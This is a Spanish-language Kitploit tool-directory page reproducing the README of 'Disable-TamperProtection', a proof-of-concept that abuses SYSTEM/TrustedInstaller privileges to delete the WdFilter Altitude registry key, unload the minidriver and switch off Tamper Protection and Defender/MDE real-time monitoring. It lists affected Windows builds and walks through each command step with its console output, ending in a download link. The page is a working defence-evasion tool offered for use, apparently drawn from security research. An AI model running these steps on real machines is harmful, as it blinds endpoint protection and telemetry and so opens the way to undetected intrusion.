Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Disable-TamperProtection — Un PoC para deshabilitar TamperProtection y otros componentes de Defender / MDE | Kitploit
Herramientas/GitHubGitHub/alteredsecurity/disable-tamperprotection
Post-ExplotaciónPruebas de PenetraciónRed TeamingAtaque Adversario
GitHubalteredsecurity/disable-tamperprotection

Disable-TamperProtection

Un PoC para deshabilitar TamperProtection y otros componentes de Defender / MDE

Ver Repositorio
258403hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Deshabilitando la Protección contra manipulaciones y otros componentes de Defender / MDE

Es posible abusar de los privilegios de SYSTEM / TrustedInstaller para manipular o eliminar la configuración de WdFilter (clave de registro ALTITUDE) y descargar el minidriver del kernel para deshabilitar la Protección contra manipulaciones y otros componentes de Defender. Esto también afecta a Microsoft Defender para Endpoint (MDE), dejando a MDE ciego a la telemetría y la actividad realizada en un objetivo.

Durante las pruebas, se descubrió que esta vulnerabilidad afecta a las siguientes versiones de Windows:

  • Windows Server 2022 hasta la versión BuildLabEx: 20348.1.amd64fre.fe_release.210507-1500 (actualización de abril de 2024)
  • Windows Server 2019
  • Windows 10 hasta la versión BuildLabEx: 19041.1.amd64fre.vb_release.191206-1406 (actualización de abril de 2024)
  • Windows 11 hasta la versión BuildLabEx: 22621.1.amd64fre.ni_release.220506-1250 (actualización de septiembre de 2023).

Blog que explica el bypass y el PoC: https://www.alteredsecurity.com/post/disabling-tamper-protection-and-other-defender-mde-components

Uso

NOTA: Es posible que sea necesario instalar VC_redist.x64.exe (runtime de MSVC) en el objetivo.

Demo del PoC: https://youtu.be/MI6aVDHRix8

El PoC funciona en 3 pasos (se requieren privilegios de administrador):

root@kitploit:~
C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1:      Unload WdFilter
2:      Disable Tamper Protection
3:      Disable AV/MDE
4:      Restore AV/MDE settings

Un ejemplo de uso del PoC es el siguiente:

  1. Descargar WdFilter:
root@kitploit:~
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!

# Upon 2nd execution if the above output repeats the target isn't vulnerable
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Enumerating WdFilter information:
        Next:   0 | Frame ID:   0 | No. of Instances:   4 | Name:        wdfilter | Altitude:          328010
[+] Restart the system or wait a few minutes for WdFilter to unload.
[+] Execute option 1 to validate!

# Restart to crash and unload WdFilter
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] WDFilter has been successfully unloaded, use option 2 to disable Tamper Protection.
  1. Deshabilitar la Protección contra manipulaciones:
root@kitploit:~
C:\> .\Disable-TamperProtection.exe 2
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 00000000000000C4
[!] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
[+] Created process ID: 7748 and assigned additional token privileges.
[+] Use option '3' to finally Disable AV/MDE.
  1. Deshabilitar los componentes de Defender / MDE:
root@kitploit:~
C:\> .\Disable-TamperProtection.exe 3
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 000000000000011C
[!] Spawning registry with TrustedInstaller privileges to Disable 'RealtimeMonitoring' regkey.
[+] To disable other components of defender check source.
[+] Created process ID: 8040 and assigned additional token privileges.
  1. Restablecer / restaurar el minidriver de WdFilter, TamperProtection y la configuración de Defender (tiempo real). Asegúrate de cambiar el número de Altitude (predeterminado: 328010) de vuelta a su valor original en la línea 530 del PoC.
root@kitploit:~
# Restart the computer after execution to restore settings successfully
C:\> .\Disable-TamperProtection.exe 4
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Make sure to change Altitude in Source (Default: 328010) and reboot computer after execution.
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to Enable 'RealtimeMonitoring' regkey.
[+] Created process ID: 5852 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to Enable 'TamperProtection' regkey.
[+] Created process ID: 2744 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to restore WdFilter "Altitude" regkey.
[+] Created process ID: 7044 and assigned additional token privileges.

Referencias

  • Grupos de orden de carga y altitudes para controladores minifilter de Microsoft
  • NSudo
  • superUser
  • Artículo de investigación sobre cómo cegar a Defender
  • Internals de MDE por FalconForce

Créditos

Publicado por: Munaf Shariff (@m3rcer)

Investigador de seguridad en Altered Security

Descargar herramienta